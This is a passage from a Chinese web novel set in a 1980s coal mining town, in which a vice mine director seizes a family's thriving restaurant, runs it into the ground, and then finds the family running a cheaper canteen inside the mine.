他是空降到一矿的,原先是煤炭运输单位的小领导。 虽然说起来是平级调动,但一矿的副矿长是实权派,比在运输单位更有发展前途。 汪副矿长下台后,不少人虎视眈眈盯着空下来的职位。 巩副矿长能成功调动,也是借了背后靠山的力,将人脉网发挥到最大程度,这才过关斩将,抢到这个热得烫手的职位。 甫一上任,巩副矿长很想做出点成绩。 但作为空降派,他比不上本地派根深蒂固,在面对错综复杂的矿内人事关系时,有种有劲儿没处使的无力感。 于是,他把目光放到了矿外。 而离一矿很近、生意特别红火的煤矿人家,就这么进入了巩副矿长的视线。 他想得很美,开一家饭店能有多难,个体户都能开好,换成了一矿,那生意只会更红火。 煤矿人家这块大肥肉,他是吃定了。 巩副矿长的眼光也确实毒辣,目前一店步入平稳发展期,刚开业时遇到的问题已经全部解决,饭店口碑极佳,拥有稳定的顾客群,还有源源不断、闻名而来的新客人。 就算是把饭店股东换成一头猪,店里生意依旧会很好。 以防万一,他早早就让行政调出租房合同,确认租期即将在一个月后结束。 此外,他还找人调查了店主贺明珠,确定贺家都是一群普通人,没什么碰不得的靠山。 巩副矿长安心地开始了回收饭店的行动。 是的,回收饭店,而不是回收房子。 他找人私下联系了店内厨师和服务员,让他们留下继续工作。 等到租期结束,饭店一切都不会改变,依旧会照着原来的方式运营,只有幕后的股东变成一矿,客人们不会察觉到任何变化。 不得不说,巩副矿长还挺有自知之明,清楚意识到,如果一矿重新开一家饭店,很有可能变成第二个“耗子饭店”。 但巩副矿长不知道的是,他前脚让人联系了店内厨师和服务员,后脚消息就传到贺明珠耳中。 私下里,冯解放担忧地对贺明珠说: “老板,你要小心,一矿有人想抢走饭店,这不是什么好事啊。” 贺明珠反过来安慰忧心忡忡的冯老头。 “别担心,冯师傅,我有办法。” 田润花则是当天就悄悄来到贺家,对贺明珠说: “小老板,有人告诉我一矿要收回房子,还说以后饭店是一矿的,让我留下继续工作。” 她干脆利落地就把挖角的人卖了,说完这件事,她张了张口,犹豫了很久,才艰难地说: “应该……他们应该也找了冯师傅……我不知道,也许冯师傅不会走,你先有个心理准备。万一,万一要是……” 贺明珠知道,田润花不愿意往坏去想天天相处的人,这样的话语,说起来仿佛是在恶意毁谤。 可为了报答贺明珠在她最落魄时伸出的手,田润花还是说了。 “就当我是小人吧,总之、总之,你多加小心。” 对于焦躁而不安的田润花,贺明珠的选择是给她一个拥抱。 “谢谢你,田姐,我都 知道了,你放心。” 田润花忽地就安下心来。 时间一天一天地过去,1983年的日历终于撕到了最后一页。 跨年这天晚上,贺家人齐聚一堂,几个大忙人终于有空坐下来吃一顿饭。 贺明军光明正大地偷溜出来,赶着回家吃完晚饭,再返回三店工作。 后厨里,找不到人的费立广:……妈的小兔崽子又跑了! 贺明军占了厨房,把贺明珠挤出去,号称要让全家尝尝他的手艺。 这段时间,他向费立广偷师,学到不少做菜小技巧,厨艺明显上一档次。 他如同雄孔雀一般,得意洋洋在厨房里开屏,做了一道花哨的爆双脆。 所谓的爆双脆,指的是爆炒鸡胗和羊肚。 鸡胗是鸡的胃之一,又称砂囊。 因为鸡没长牙,吃东西都是囫囵吞,鸡胗内盛放砂石,通过肌肉作用,将食物研磨粉碎。 因此,鸡胗的质地格外坚韧,可以说是鸡身上最硬的一块肉。 而羊肚指的是羊胃,外层光滑,内里充满褶皱,充满韧性,吃起来富有嚼劲。 将鸡胗与羊肚同炒,由于两者炒熟时所需火候和时长各不相同,时间过短则生,时间过长则老,对厨师的刀工和火候要求极高。 因此,爆双脆被看作鲁菜中一道难度颇高的名菜。 贺明军挑了爆双脆作为跨年菜肴,颇有些炫艺的意味。 受费立广影响,他现在做菜时,要亲自去挑选食材。 鸡胗选外形红润而肥大的,去掉里层与砂石直接接触的硬质层,留下更嫩的里肉; 羊肚挑了肉厚脆嫩的肚领,剥掉表面一层黑皮,只留下内里雪白的肚仁。 贺明军用菜刀在鸡胗与羊肚表面细致地划上十字花刀,纹理极细,方便后续爆炒时,食材充分把锅中热油吃进去。 大火烧锅,锅内的油很快热起来,在高温下冒出细密的小气泡。 与此同时,旁边灶台上的另一口锅内的水也沸腾起来。 贺明军一手操汤勺,将切好的鸡胗和羊肚在沸水中焯至四五成熟,随即快速将其捞出。 下一秒,他反手将焯好的鸡胗和羊肚倒入旺油中,滋啦一声爆响,油锅中腾地冒起白烟。 油锅遇水,一时间,细密而高温的的油点朝着四面八方飞溅而去。 贺明军恍若无感,任由油星溅到他暴露在外的手臂上。 他一手操着油勺,一手握住锅把,手臂猛然发力颠锅。 鸡胗和羊肚被抛出了锅,在空中滑出一道优美而惊险的抛物线后,重又落回锅中。 如此反复几次,只过了数秒的时间,贺明军将锅拿离灶台,流畅地将炒好的鸡胗羊肚倒入盘中,使其不被锅内余温继续蒸烤。 一盘爆双脆,鸡胗鲜红,羊肚雪白,二者红白相间,煞是好看。 贺明珠在厨房围观全程,不待品尝,就先向贺明军鼓掌祝贺。 “二哥,你的手艺真是越来越好了,这盘爆双脆做的可真漂亮!” 贺明军解开围裙,擦一把头上的汗,带着点得意的笑,说: “也不看看你哥是谁,能有我做不来的菜吗?” 他将盘子向贺明珠方向推了推。 “尝尝,看看味道怎么样。” 贺明珠说:“不用尝就知道,这道菜绝对好吃。” 相比于之前,此时二哥的动作潇洒流畅,挥洒自如,颇有一种武林高手之感。 看来费立广还是很有些本事的,能让二哥的厨艺飞速进步,速度快到贺明珠都有些惊讶。 贺小弟探个脑袋进来。 “姐不吃,二哥,要不给我吃吧?” 贺明军一挑眉,端着盘子就出了厨房。 “吃什么吃,先把你的手洗了,上桌吃饭。” 今天的晚饭格外丰盛,作为1983年的最后一天,回想这一年,一家人都思绪万千。 从年头到年尾,这一年,贺家的变化不可谓不巨大,可以说是从谷底一步一步爬了上来。 现在站在峰顶,回望过去,脚下的山也只不过是一座小山包,面前有更多、更加巍峨的山峰等着他们去攀爬。 贺明国说:“明年我要读完夜大。” 贺明军说:“明年费老头就可以回家养老了,我才是后厨的老大。” 齐家红说:“明年,咱们一家人会更好。” 贺小弟人小,想的事也少,只知道咯吱咯吱嚼着爆爽脆。 鸡胗和羊肚都是韧性十足而又脆爽的食物,过了一遍滚水,又过了一遍旺油,吃起来脆嫩极了,口感弹牙,让人忍不住吃了又吃,停不下来。 贺明珠戳戳贺小弟:“喂,轮到你了。” 贺小弟:“啊?” 他手忙脚乱地放下筷子:“那,那明年,我要好好长大。” 听到这番童言童语,全家人都笑了。 “好,说到做到,明年你要好好长大。” 轮到贺明珠时,她发自内心地露出笑容。 “明年,我们一家人依旧会在一起。” 1983年结束了,迎来1984年的春天。 与此同时,关于一店的租房事宜,一矿正式下发通知—— 租赁到期后,房屋不再续租,限令煤矿人家于租房到期日前,将属于一矿的三产房子腾空。 面对突如其来的通知,贺明珠并不意外,一店的员工也是。 他们非常配合地开始办理退租手续,将店内恢复成了租赁时的原状,甚至连当时砸碎的那套碗盘,都留下了替代品。 巩副矿长原本准备好了和贺家人打持久战,为此,他还从保卫科调来一队年轻力壮的干事。 要是他们执意不肯退房,那就让这家个体户尝一尝来自社会主义的铁拳滋味。 但出乎所有人意料的是,贺家配合极了,非常顺利就收回了房,中间没有一丝磕绊。 一时间,巩副矿长甚至有些怅然若失。 贺家人是不是脑子有问题?这么赚钱的饭店说不要就不要? 巩副矿长隐隐察觉到了一丝异样。 不过他的目的本来就是收回房子,既然目的达成,便将异样的感觉抛之脑后。 收房当天,巩副矿长迫不及待来到三产房子巡查,心里还在琢磨要将哪几个亲戚塞进饭店。 可当他走进屋内,看清房间情状,失态地大声问道: “谁干的?店里怎么变成这个脏样儿?!” 第108章 第108章一矿的新食堂 “你说房子有问题?” 面对一矿来人的质问,贺明珠心平气和地反问: “怎么会有问题呢,这不就是当时租给我们的原状吗?” 来人气急败坏地说:“话是这么说,可你也不能真把房子恢复成原状吧!” 贺明珠疑惑地歪了歪头。 “为什么不能呢?” “租期结束,退房时将房子恢复为出租时的状态,难道不是良好租客应该做的事吗?还是说,你们觉得三产房子出租时的状态,是很拿不出手的呢?” 来人被她噎得说不出话。 要怎么说,巩副矿长原本的打算是原模原样地接手煤矿人家饭店,房子拿到手就能接着开店,不用多耽误一点时间。 可现在,三产房子变得和出租时一样,又脏又乱,家具不全,满室灰尘。 原本粉刷一新的的墙壁,现在被扒下了表层腻子,露出泛黄开裂的底层。 高瓦数的电灯被换成原来昏黄的旧灯泡,缺乏光照的天气里,室内开着灯也暗极了。 除了几张旧桌椅,和一套新餐具,饭店所需的一应物件都没有了。 唯一保留下来的是后厨与前厅之间隔墙上的玻璃窗,让人还能回忆起当时房子还是煤矿人家时的模样。 除此之外,再找不出一丁半点与煤矿人家有关的痕迹。 这种房子就算收回来,还怎么开饭店啊?! 贺明珠还在沉思。 “说起来,当初店里都是老鼠呢……耗子饭店的特色没能恢复,有点遗憾啊。” 她抬眼看向来人。 “要不我想想办法,和老鼠商量商量,让它们搬回去住吧。” 来人的心态崩了。 “这有什么好商量的!还有,为什么要和老鼠商量啊!!!” 没能讨到实惠,连口头便宜也没有,来人悻悻地离开贺家。 贺明珠目送他的背影,眯起了眼睛。 光是将三产房子恢复原状,他们就已经受不了,但这才只是个开始呢,好戏还在后头。 巩副矿长听到汇报,气得差点摔了茶杯。 贺家真是欺人太甚! 不就是开了家小饭店,有了点名声,挣了点钱吗? 区区个体户居然敢和公家单位对着干,真是吃了熊心豹子胆! 他气急了,立刻派人去给三产房子大扫除,又批了一笔预算,让人采购饭店用品,势要在三天内重新将饭店办起来。 一家面向矿工的小饭店,经营起来难道会比几万人的大煤矿更困难吗? 吩咐完毕,巩副矿长想起之前让人去挖煤矿人家厨师和服务员的事, 开口问道: “煤矿人家的厨师和服务员什么时候来店里上班?” 一听他提到这事,来人心里直喊糟。 贺家人也不知给厨师和服务员灌了什么迷魂汤,明明可以做公家单位的职工,而且工作地点、内容都不发生改变,但那两人居然不约而同地一口回绝。 他们宁愿在个体户的饭店上班,也不肯来煤矿大集体上班。 要知道自从前几年为了解决待业问题,国家鼓励发展集体所有制经济,国有企业纷纷开办厂办大集体,乌城矿务局也不例外。 矿务局设立了多家劳动服务公司、经销公司、三产公司等,大量吸纳待业的煤矿职工子弟以及回城知青。 虽然厂办大集体的效益差,工资也低,但工作清闲,还提供大集体编制,每月交劳保,解决了煤矿职工的后顾之忧。 现在一矿将房子收回来,要继续由三产公司开办饭店,也就是说,在饭店工作的职工,被归入了厂办大集体旗下。 尽管比不上国营单位里拿着全民编制的正式工,可也算是正经工作,说出去不丢人。 他原以为煤矿人家的厨师和服务员在得知这个消息后,哭着喊着也要投奔三产公司。 可没想到的是,这两人无动于衷,似乎没有意识到个体户与厂办大集体的天壤之别。 他特别强调一句:“以后饭店归公家,你们就有集体编制了。” 老厨子:“我退休了,编制对我没意义。” 女服务员:“多的是发不出工资的公家单位,编制不编制的没意义。” 来人:??? 不是,这对吗? 这两人脑子是不是有点问题? 总之,任他磨破了嘴皮子,厨师和服务员没一个松口跳槽的,反倒让他自己看起来像个小丑。 此时,面对巩副矿长的问题,来人苦着脸说: “巩矿长,那厨师和服务员的思维已经被资本主义腐化了,他们坚决不肯来三产饭店上班。” 巩副矿长的脸变黑了。 他阴沉着脸不说话,好半天,在来人的忐忑中,他才开口道: “你去找食堂黄师傅,让他派两个人来饭店帮忙。” ——哼,不就是个厨子和服务员吗? 天底下最不缺的就是找工作的人,离了张屠夫,还吃不了带毛猪吗?这世界,离了谁都能转! 在匆忙混乱的筹备后,三产房子的门头挂上了新的牌匾,上面威风地写着四个大字“一矿饭店”。 时隔一年,三产饭店重又开张。 远在西煤矿务局的郑解放莫名打了个喷嚏。 不知道为什么,忽然觉得有点反胃啊…… 下班后,赵计划和刘爱民约着去煤矿人家喝一杯小酒。 年底矿上赶生产,他们小组没日没夜地泡在井下,终于赶在节点前,完成了上一年度的生产任务。 为表庆祝,两个小年轻决定去吃点好的,慰劳一下自己。 他们有一段时间没来煤矿人家了,但依旧对路线的记忆深刻,熟门熟路推车来到饭店。 停车时,赵计划抬头看了一眼店内情况。 原本是想预估要等多久才能排到桌子,可却发现店内客人寥寥无几,在晚餐高峰期时,突兀出现一种冷清气氛。 赵计划疑惑道:“什么情况?今天店里不营业?” 刘爱民用胳膊肘戳了戳赵计划,示意他去看饭店牌匾。 “一、矿、饭、店?” 赵计划一字一顿地念出了声。 像是有些不相信看到的东西,他又极快地重复了一遍 “一矿饭店???” 两人面面相觑,赵计划迟疑地说:“饭店什么时候改的名?” 刘爱民抿着嘴,心里有种不好的预感。 “不知道,先进去看看。” 刘、赵二人一前一后进入饭店,眼前所看到的景象,对比记忆中的饭店,有种似是而非的错位感。 桌椅是原先的,但摆放的位置变了;收银台换了地方,喜欢蹲在上面的大狸猫不见了;后厨与前厅隔墙上的玻璃窗,被糊了一层纸,看不清厨房里的情况。 似乎还是原来的煤矿人家,可细看的话,又似乎哪里都不太对。 对于这个熟悉又陌生的饭店,赵计划不知为什么,有点挪不动脚步。 但想到曾经在店里吃过的美食,他勇敢地上前一步,找了个空位坐下,习惯性地喊了一句: “田姐,我们要点菜。” 但来的人不是熟络的服务员田姐,而是一个烫头发、吊眼梢的年轻女人。 “喊什么田姐,谁是你姐?!” 她啪地一下把菜单扔到桌子上,两片红嘴唇上下翻飞,不耐烦地说: “要吃什么赶紧点,别磨磨蹭蹭的,又不是只有你们一桌客人,我忙得很,你赶快点!” 面对忽如其来的疾风暴雨,赵计划吓得一缩脖子。 刘爱民比他稳得住,问道:“你是新来的吗?田姐今天没来吗?” 女服务员翻了个白眼:“什么甜姐酸姐的,我不认识!你点不点菜,不点就赶紧出去,别占着茅坑不拉屎!” 在饭店说这种粗俗的话,实在是刺耳极了。 刘爱民年轻气盛,不受这气,一把拉着赵计划站起来。 “你这是什么服务态度,我们不吃了!” 女服务员哼了一声:“爱吃不吃,随便你!不吃更好,还给我省事儿了!” 赵计划被骂出了几分火气,大声道:“把你们贺老板叫出来,我要问问,你们饭店就是这么招待客人的吗?!” 女服务员古怪地看他们一眼。 “什么贺老板,这儿现在是公家饭店,个体户早特娘的滚蛋了!” 刘、赵皆是一愣。 什么叫“公家饭店”?煤矿人家不一直都是个体户开的饭店吗? 田姐呢?冯师傅呢? 还有最关键的,贺老板呢? 他们俩愣神不说话,,女服务员可没闲着,指着人鼻子就开骂 “你们要吃资本主义的饭,就别来我们公家饭店!我们店可供不起你们,想作威作福,去找你们的贺老板啊!个体户想赚你们的钱才捧着你们,我可干不来这种低声下气、伺候人的活儿!” 赵计划涨红了脸,反驳道: “什么叫伺候人,你是服务员,礼貌对待客人是你应该做的!” 女服务员撇嘴:“你是来吃饭的,还是来找人伺候的?这是饭店,吃饭的地方,你要么闭上嘴吃饭,要么就滚蛋,谁稀罕你那两个臭钱?!” 忽然,店里另一桌客人摔了筷子。 “什么破玩意,老子不吃了!” 几个矿工骂骂咧咧道: “服务员的话说得难听,厨师的菜做得难吃,来你们饭店吃饭还不如把钱扔水里,起码我还能听个响!” “对!我也是贱,来饭店找气受!饭没吃饱,气都气饱了!” “你还敢说贺老板的坏话,要我说,你们连贺老板的脚后跟都比不上!” 女服务员毫不畏惧,叉腰和几人对骂起来。 一时间,店内生殖器官乱飞,祖宗十八代被以乱|伦的形式问候了一个遍。 头顶炮火,刘爱民拉着赵计划逃出了店。 两人惊魂未定,互相看看,好半天说不出话来。 刘爱民自言自语:“饭店开的好好的,贺老板怎么突然就不开店了?” 没能吃到美食,赵计划气道:“肯定是矿上眼红贺老板赚钱,故意使坏,把房子没收了!” 虽然是凭空猜测,但因他是煤矿子弟,对矿上有本质了解,猜中了大半真相。 刘爱民叹道:“以后我们能去哪吃饭呢?” 习惯了煤矿人家的实惠美食以及周到服务,现在其他饭店都入不了眼。 要么难吃,要么贵,要么服务态度差,随便矿务局哪家饭店,都无法避免要踩中一条。 赵计划朝着一矿饭店的大门呸了一口。 “呸,还‘一矿饭店’,老子这辈子不会来第二次!” 新饭店开业才不过一周,巩副矿长就意识到饭店不是那么好开的。 前期为清扫房子、采购食材调料、补全饭店用品等,投入了不少 钱,但在饭店开业后,迎来的不是高额利润,而是跳崖般骤降的营收。 饭菜难吃、服务员态度差、店内斗殴、饭后上吐下泻、食物中毒…… 短短一周,无数投诉信雪花般地飞向了巩副矿长的办公桌。 他现在听到“一矿饭店”这四个字都有些心惊胆战,毫无一周前的雄心壮志。 一家饭店而已,怎么会有这么多糟心事…… 巩副矿长一手任命的饭店店长,已经明里暗里向他告状多次,要是再不清退女服务员,他宁愿回原单位做科员,也不再做这个店长。 女服务员也梨花带雨地向巩副矿长告状,说店长和客人都欺负她,她要换个清闲的工作。 食堂黄师傅含蓄表示,借调的两个厨师什么时候还回来,食堂现在也缺人手。 巩副矿长一个头两个大,甚至有些后悔当初为什么要抢走饭店。 看看现在店里的乱象,这不纯粹给自己找事儿吗?! 但现在饭店才开了一周,如果就这么关店,岂不是向外界表示,他缺乏饭店经营的能力,当初力排众议、收回三产房子的决策是一个彻头彻尾的错误吗? 那张副矿长不得笑死啊! 要知道当时领导班子会议上,负责管理三产事务的张副矿长明确表态,不同意收回三产房子。 在座的谁不知道张副矿长和煤矿人家老板有勾结,他低价把房子租出去,自己独吞了好处,还不许其他人在饭店挂账,甚至为此,把汪副矿长给坑了进去。 要说张副矿长和贺老板不是狼狈为奸的关系,谁信? 巩副矿长大义凛然地表示,不能让个体户侵占了属于国家的利益,饭店必须由矿上来开办,所得利润都归矿上。 对于两位副矿长之争,老矿长保持了沉默,一如既往。 最终,由于张副矿长做人太贪,得了好处不分给同僚,巩副矿长获得了大多数人的支持。 当时巩副矿长有多意气风发,现在就有多焦头烂额。 要是饭店开了一周就倒闭,那不就宣告了他的失败吗? 巩副矿长咬着牙下定决心,无论如何,就算亏本做生意,这家店也决不能关门! 他调走了女服务员,换了个脾气好的新服务员;同时,把借调的食堂厨师还了回去,通过人脉关系,请来了国营饭店的退休厨师。 一番操作,终于将一矿饭店从岌岌可危的边缘拯救回来。 虽然生意比不上当初的煤矿人家,但至少店内开始有人光临,也没再出现服务员打骂顾客的情形。 巩副矿长稍稍松了口气,放松下来,准备迎接1984年的春节。 然而,他的这口气松得有点早了。 一矿厂区内,距离采煤区不远的一处废弃小楼,长久未使用的烟囱,忽然在某天清晨,升起了袅袅炊烟。 张跃进从井下坐着猴车上来,匆匆扎进澡堂,将全身上下的煤灰冲掉。 出了澡堂,他暴露在帽子外的湿发,在寒冷天气中,被冻成了一根根硬邦邦的冰棍。 张跃进又饿又累,提不起精神,恹恹地去车棚取车回家。 唉,原来他下班后可以去煤矿人家美美地搓一顿,可不知哪个龟孙子抢走了饭店,做的菜又贵又难吃,把吃饭的人当冤大头宰。 张跃进习惯了煤矿人家物美价廉的美食,非常反感这家所谓的“一矿饭店”。 哼,他是一矿老职工,他不同意这家店用“一矿”来冠名! 虽然没人在意他的抱怨,但张跃进坚决不给这家新饭店贡献营业额,宁肯饿着骑车回家,也不进店吃饭。 唉,可惜了他的煤矿人家……他还没吃够,也不知道贺老板去哪里开店了…… 去车棚的路上,老同事喊他:“老张,去不去食堂吃饭?” 食堂? 张跃进不客气地说:“你饿坏了脑子吗?哪个要去食堂吃饭!” 老同事也不恼,解释道:“我说的是新开的食堂,听说和煤矿人家是同一个厨师……” 他的话还没说完,张跃进的眼睛亮了起来。 什么?!煤矿人家?! 他迫不及待地说:“新食堂在哪儿?快点带我过去!” 老同事失笑:“就知道你是这个反应!走快点,食堂人多着呢!” 新食堂位于采矿区旁的一座二层小楼,以前是办公楼,后来办公人员统一搬到新盖的大楼,这座小楼就空了下来。 如今,空置已久的楼内重新热闹起来,人来人往,声音喧闹。 虽然还是滴水成冰的冬天,进了楼,却有种生机勃勃的感觉。 办公楼的锅炉房所用煤炭都是一矿自产的,很舍得加煤,暖气烧得很热乎,进门后一股热浪铺面而来。 张跃进头发上的结冰都消融了,滴滴哒哒落在衣领上。他却毫无所觉,好奇地看着楼内环境。 他之前也来过这座办公楼,然而,现在楼中情境和他记忆中完全不同。 非承重墙都被拆掉,只留下必要的承重柱,大厅里视野开阔,一目了然。 与食堂通常使用的圆桌不同,此时室内摆放着一排排的长条桌椅,每条桌子同时可供四人用餐。 而在大厅尽头,则是打饭窗口,隔着玻璃窗,服务员将顾客选好的饭菜从窗户缺口处送出来。 这一新奇的设计,无疑吸引了人们的目光。 对于后世来说司空见惯的食堂布置,在八十年代还是新鲜事物。 来新食堂吃饭的人不少,已经有人打好了菜,端着托盘坐到位置上。 一时间,大厅上空飘荡着各式各样的饭菜香味。 张跃进肚子应景地咕噜作响,他挑了个人少的队伍,就要过去排队买饭。 老同事眼疾手快地拉了一把他的胳膊。 “等等,你带饭票了吗?新食堂不收钱,只收饭票。” 张跃进摸摸衣兜,自信地说:“带了!” 他迫不及待地排队,队伍前进的速度很快,不多时就轮到了他。 负责打饭的是位熟人,虽然戴着棉口罩,张跃进还是一眼就认出来了。 “小田!” 田润花的眼睛弯了弯,热情地和这位煤矿人家的老顾客打招呼。 “张大哥,您也来吃饭了?” 张跃进激动地说:“冯师傅在吗?还有贺老板,她也在吗?” 田润花笑着说:“在,我们都在。” 张跃进高兴得不知说什么是好,只会说:“好,好,好……真好……” 这里不是叙旧的地方,后面排队的人还在等着打饭。 张跃进匆匆点了一荤一素,又要了两个杂粮馒头,点完了才想起来万一饭票不够怎么办。 田润花熟练地报出价格:“荤菜两毛,素菜五分,两个馒头五分,您给我三毛钱的饭票就行。” 这么便宜! 张跃进一惊,这比一矿食堂的菜价要便宜多了,还比一矿食堂给的份量多。 要知道在一矿食堂,荤菜每份三毛钱,素菜每份一毛钱,荤素搭配的菜每份两毛钱。 他点了一荤一素,要是在一矿食堂,光是两道菜就要收四毛钱的饭票,还不包括主食。 而 在新食堂,张跃进只花了三毛钱就点了一荤一素加两个馒头。 他不由心想,不愧是煤矿人家,就算是改开食堂,也比别的食堂更加物美价廉。 一荤一素将托盘堆得满满当当,两个杂粮馒头热乎又暄软。 张跃进小心翼翼端着托盘,找了个空位坐下,急不可耐地夹起一筷子菜送入口中。 唔!还是熟悉的味道,令人心安的好吃! 荤菜是卤鸡腿,鸡皮被卤汁浸透,吃起来一点都不腻,咸香鲜美,肉质细腻,三两下就将一整条鸡腿吞入腹中,只剩一根骨头。 素菜是醋溜大白菜,酸香浓郁,白菜去了梗,嚼起来一点都不费牙,在醋味之外,还能尝到独属于白菜的甜味。 杂粮馒头加了玉米面、高粱面、荞麦面等多种粗粮,但因为面粉磨得细,各类面粉比例调配适当,吃起来一点也不噎嗓子。 张跃进狼吞虎咽地吃完了一荤一素和两个馒头,直到托盘中空无一物,他才意犹未尽地打了个饱嗝儿。 抬头看看,周围人的吃相也都差不多,吃得香极了,一时间只能听到筷子与托盘相碰的声音。 张跃进不由得笑了起来。 真好,真好! 煤矿人家以另一种形式回来了! 有人欢喜有人愁,与此同时,巩副矿长匪夷所思地问: “你是说,现在一矿饭店连一个客人都没有了?” 第109章 第109章进击的副矿长 “没客人?” “是不是服务员又打人了?!” 当听到一矿饭店的店长汇报说,店内现在一个客人都没有时,巩副矿长下意识的反应就是——是不是服务员把客人都打跑了? 店长尴尬道:“这次不是服务员打人,是客人都跑去食堂吃饭了……” 食堂? 哪个正常人会放着饭店的好饭好菜不吃,去吃食堂的剩饭剩菜啊?! 见巩副矿长不信,店长苦着脸说:“是真的,工人都去食堂吃饭了,店里已经好几天没有客人了,也没有进账了……” 巩副矿长无法相信,同样一家饭店,贺家开时就日进斗金;等轮到他的时候,不仅分币不赚,还要倒贴水电人工。 账上的钱流水似的花了出去,只出不进,将矿上批的资金都花光了不说,还倒欠不少。 饶是一矿饭店不是巩副矿长的生意,没有花他自家的钱,他还是感到一阵隐隐心痛。 那不仅是政绩,还是他可以从中大捞特捞的肥肉! 钱啊! 那可都是他的钱啊! 怎么不明不白就没有了呢?! 巩副矿长心情焦躁,语气恶劣地问道: “你从头和我说,店里到底发生什么事了?!” 新任店长擦着汗,暗恨自己当初为啥要托关系调到一矿饭店,放着阳关大道不走,偏偏来挤独木桥,而且现在还快被挤下水了…… 但事已成舟,他只能硬着头皮推卸责任。 “这次真和店里没关系,是贺家,贺家在矿上开了一家食堂,把客人都抢走了。” 贺家开了食堂? 巩副矿长有种不祥的预感,连声追问道:“什么食堂?我怎么不知道?” 店长惊讶道:“您不知道?就是开在采煤区那座二层小楼的新食堂啊。” 巩副矿长还真不知道。 他来一矿不久,本身也没有煤矿工作经验,他主管的分块是煤炭对外联络、运输和资金结算,因此,他无法及时了解一矿内部发生的事情。 再加上巩副矿长很少亲临采矿一线,也不关心采煤区发生了什么新鲜事。 开办新食堂的事都已经在一矿人尽皆知了,他才刚从店长这里听到消息。 但巩副矿长的敏感性很强,当意识到“一矿的新食堂是贺家开的”时,他立刻就发觉问题所在。 “个体户怎么能在公家单位里开食堂?” 店长郁闷地说:“不知道啊,突然有一天就开食堂了。我偷偷去看过,打饭的就是原来煤矿人家的服务员,听说厨师也是原来的。” 巩副矿长的脸色变黑了。 合着他好不容易把三产房子收回来自己开饭店,贺家扭头就钻进了一矿内部开起了食堂? 早知要是一矿还能多开一家新食堂,他又何必费功夫去抢饭店? 现在好了,他和他极力主张的一矿饭店被套牢了,贺家甩了饭店包袱,乐滋滋做起了食堂生意。 巩副矿长越想越气,脸色黑得如泡过墨汁。 店长还在告状:“……贺家人不地道,故意把菜价定的比开店时还低,把来吃饭的工人都抢走了!现在店里没客人,就是因为新食堂的价格太低!” 要是贺明珠听到店长的抱怨,估计要狠狠翻一个白眼。 开什么玩笑,以前在饭店是单灶小炒,而现在食堂是大锅菜,定价能一概而论吗? 就算是给冯解放套上个增幅一万倍的自信buff,他也不敢自夸大锅菜比小炒更好吃。 要求食堂菜的价格比饭店贵,是什么倒反天罡的行为啊! 但巩副矿长正在气头上,听了这话后,越想越气 贺家人怎么能开食堂呢? 为什么食堂可以开在一矿? 凭什么食堂定价比一矿饭店要便宜?! 他在一矿饭店上投入了这么多的心血和期待,就这样被一个所谓“新食堂”所破坏了吗? 不! 这种事绝对不能让它发生! 巩副矿长腾地一下站起身来,吓得一旁的店长一激灵。 “贺家的食堂不能开在一矿!” 巩副矿长一字一句地说:“公家单位,不能被资本主义的食堂腐坏!” 店长一惊,接着是半忧半喜。 喜的是,巩副矿长这样说的话,是意味着以后就没有抢生意的新食堂了; 忧的是,要是没了贺家这块遮羞布,就要承认饭店生意差是他的经营有问题了吧…… 不管店长是如何喜忧参半,巩副矿长大步流星来到张副矿长的办公室。 两人的办公室位于同一层,分列矿长办公室两侧,平时谈事很方便,找茬也是。 巩副矿长象征性地敲了两下门,不待屋内回应,径直推门进去。 “张副矿长,我有事找你!” 张副矿长正在喝茶看报,被突然出现的巩副矿长吓了一跳,差点打翻茶杯。 “老巩啊,你这着急忙慌的是要干什么?有什么要紧的事非得找我说?” 巩副矿长没坐,站着俯视张副矿长。 “让个体户在矿山开食堂,是你批准的吗?” 张副矿长矢口否认:“你别乱说,我可没有这么大的权力。这件事是上个月在班子会议上讨论过的,我记得你当时举手投了赞成票,怎么,现在又有什么问题吗?” 巩副矿长一愣,想了起来,上个月的班子会议里确实提到过开新食堂的议题。 但张副矿长当时说的是,井下职工吃饭不便,加上现在天气冷,建议在采煤区附近设立一个送餐点,以便将热腾腾的饭菜送到工人手中。 他当时听完觉得没什么大问题,也没多少油水可捞,就抬抬手,放过了这件事。 但现在看来,这哪是什么“送餐点”,分明就是打着送餐的旗号,开了一家新食堂! 巩副矿长都被气笑了。 “我记得当时开会时,你说的可是建立一个送餐点,而不是开一家新食堂!” 送餐点和新食堂的差距有十万八千里,就算生搬硬套也扯不到一起。 面对巩副矿长的质问,张副矿长不动如山,语气平和。 “开始确实是送餐点,但天气太冷,运过来的菜都凉了,总不能给工人们吃冷饭冷菜,只好就地加热一下饭菜。之后又经常发生工人忘记带饭盒的事,还有人下班后想吃完饭再回家,就准备了一些碗筷和桌椅。” “开头确实是没打算开食堂,但既然在实践中发现了问题,就需要一步一步地解决。毕竟报纸 上也说了,实践才是检验真理的唯一标准嘛。” 巩副矿长不吃他这一套,呛声道: “所以你的解决办法,就是让姓贺的个体户来开食堂吗?” 闻言,张副矿长断然否定。 “谁说是个体户开的,新食堂明明就是一矿的产业啊!” 巩副矿长一愣。 什么意思,食堂不是贺家人开的? 那为什么煤矿人家的厨师和服务员会出现在食堂里呢? 巩副矿长紧紧盯着张副矿长,试图从他脸上寻找说谎的痕迹。 张副矿长态度坦然,随便他看,坐在办公椅上稳如泰山,还有心抖一抖报纸。 “小巩,你刚来我们一矿不久,也不能只顾着抓业务,有空的时候也需要多了解了解实际情况啊。看在你的面子上,今天的事就算了,但下次,你可不能再这么莽莽撞撞地闯进来了。” 巩副矿长被臊得一张老脸通红。 多少年没人敢喊他“小巩”,今天却被不对付的竞争对手喊了出来,偏偏他还没底气反驳。 谁让他没弄清具体情况就急吼吼地打上门来质问,实在有些理亏…… 但就这么离开,巩副矿长又有些不甘心。 “新食堂是归后勤管的?那为什么煤矿人家的厨师和服务员会出现在食堂里?” 张副矿长拿茶杯的动作一顿,含糊地说: “大概是来食堂找工作的吧……” 找工作? 这么巧就找到了一矿新食堂的工作? 巩副矿长脑中灵光一闪,诈了一句。 “那我怎么在食堂看到贺家人了?” 张副矿长刚要开口,就被巩副矿长堵了回去。 “你别说她是来吃饭的,我可是看到这位贺老板在新食堂里威风得很呐,比一矿的后勤主任还有排场——其实,这新食堂就是她开的吧?” 张副矿长哑口无言,心理暗骂贺明珠怎么被巩副矿长看到了,这下要怎么解释? 巩副矿长的眼睛死死盯着张副矿长,不放过他脸上的每一丝表情。 但姜还是老的辣,张副矿长整理心情后,若无其事地说: 